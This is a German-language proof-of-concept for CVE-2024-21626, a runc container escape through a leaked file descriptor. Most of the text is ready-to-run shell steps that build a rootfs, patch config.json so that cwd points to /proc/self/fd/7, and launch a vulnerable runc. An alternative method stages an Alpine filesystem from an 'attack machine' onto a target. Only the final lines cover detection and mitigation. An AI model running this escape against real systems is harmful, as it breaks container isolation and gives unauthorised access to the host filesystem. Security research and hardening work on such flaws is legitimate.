
PoC für CVE-2024-21626: runc leakt vor pivot_root einen internen fd, der auf das CWD des Hosts verweist, und ermöglicht so einen Container-Escape, indem process.cwd auf /proc/self/fd/7 gesetzt wird.
| Feld | Detail |
|---|---|
| CVE | CVE-2024-21626 |
| Betroffene Komponente | runc ≤ 1.1.11 |
| Schwachstellenklasse | Container-Ausbruch über Dateideskriptor-Leck |
| Spitzname | Leaky Vessels |
runc gibt vor der Ausführung des Container-Prozesses einen internen Dateideskriptor (typischerweise fd/7) frei, der auf das Arbeitsverzeichnis des Host-Dateisystems verweist. Wenn du in config.json das cwd des Containers auf /proc/self/fd/7 setzt, landet der Prozess in einem Host-Verzeichnis statt im Container-Rootfs – das ermöglicht einen Container-Ausbruch.
Erstelle ein minimales Rootfs, indem du Binaries direkt vom Host kopierst:
# 1. Create directory structure
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib
# 2. Copy binaries and required libraries
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib
# 3. Generate default OCI config
runc spec
# 4. Patch cwd in config.json to point at leaked host fd
# Change: "cwd": "/"
# To: "cwd": "/proc/self/fd/7"
vi config.json
# 5. Run the container with the vulnerable runc binary
sudo /opt/debug --log /tmp/log.json run strikontainer
Was passiert: runc öffnet fd/7, das auf das Host-CWD verweist, bevor der Wechsel (Pivot) zum Container-Rootfs erfolgt. Das Setzen von cwd auf /proc/self/fd/7 bewirkt, dass runc per chdir() in den Host-Pfad wechselt statt in den Container – du landest im echten Dateisystem.
Falls du eine vollständigere Umgebung benötigst oder der Host nur begrenzte Binaries bereithält:
# --- On your attack machine ---
# Export a minimal Alpine filesystem
docker export $(docker create alpine:latest) > alpine.tar
# Transfer alpine.tar to the target, then:
# --- On target ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs
# Generate OCI bundle config
runc spec
# Patch cwd (same as Method 1)
vi config.json
# "cwd": "/proc/self/fd/7"
# Run
sudo /opt/debug --log /tmp/log.json run strikontainer
openat()-Aufrufe auf /proc/self/fd/ in Container-cwd-Konfigurationen; löse einen Alarm bei OCI-Bundles aus, deren cwd /proc/self/fd enthält/proc-Zugriff einschränken; erwäge rootless Container oder gVisor/Kata für eine stärkere Isolierung